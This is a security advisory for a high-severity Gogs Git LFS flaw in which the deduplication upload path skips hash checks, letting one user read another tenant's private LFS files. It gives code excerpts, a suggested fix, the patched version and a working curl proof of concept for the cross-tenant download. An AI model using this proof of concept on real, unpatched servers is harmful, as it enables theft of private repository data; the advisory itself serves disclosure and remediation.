---
id: CVE-2026-52812
title: 'Gogs: LFS dedupe path leaks private repo content across tenants'
summary: 'Gogs: LFS dedupe path leaks private repo content across tenants'
severity: high
cwe:
  - CWE-345
  - CWE-639
  - CWE-862
vendor: gogs
product: gogs.io/gogs
ecosystem: go
affected:
  - gogs.io/gogs < 0.14.3
patched:
  - gogs.io/gogs 0.14.3
published: '2026-06-23'
updated: '2026-06-23'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-6p9m-q3jp-47h4'
references:
  - url: 'https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4'
  - url: 'https://github.com/gogs/gogs/pull/8333'
  - url: >-
      https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8
  - url: 'https://github.com/gogs/gogs/releases/tag/v0.14.3'
  - url: 'https://github.com/advisories/GHSA-6p9m-q3jp-47h4'
tags:
  - ghsa
  - go
epss: 0.00236
epssPercentile: 0.14927
ingestedAt: '2026-06-29T13:24:35.467Z'
---

## Overview

Summary

Git LFS storage is content-addressed by OID alone (`<LFS-root>/<oid[0]>/<oid[1]>/<oid>`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at `internal/lfsx/storage.go:79-82`:

```go
if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}
```

Hash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch — the dedupe path returns earlier.

`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:

```go
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())
```

`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo's git history.

`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).

### Reproduction prerequisites
- Running gogs ≥ 0.12.0 with `[lfs] ENABLED = true`.
- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.
- An OID known to be present in `alice/secrets` — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

### Setup (testbed simulation of the victim's prior state)

```sh
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)

# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
```

### Attack — bob has only `$OID`, not `$VICTIM_BYTES`

```sh
unset VICTIM_BYTES   # attacker has no idea what the file contains

# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}

# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK

# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly
```

### Independent confirmation against the source

```sh
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322

sed -n '63,114p' internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go  # composite (RepoID, OID) PK — multiple repos can share an OID row
```

Impact

- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.

## Affected packages

- `gogs.io/gogs < 0.14.3`

## Remediation

Upgrade to a patched release:

- `gogs.io/gogs 0.14.3`
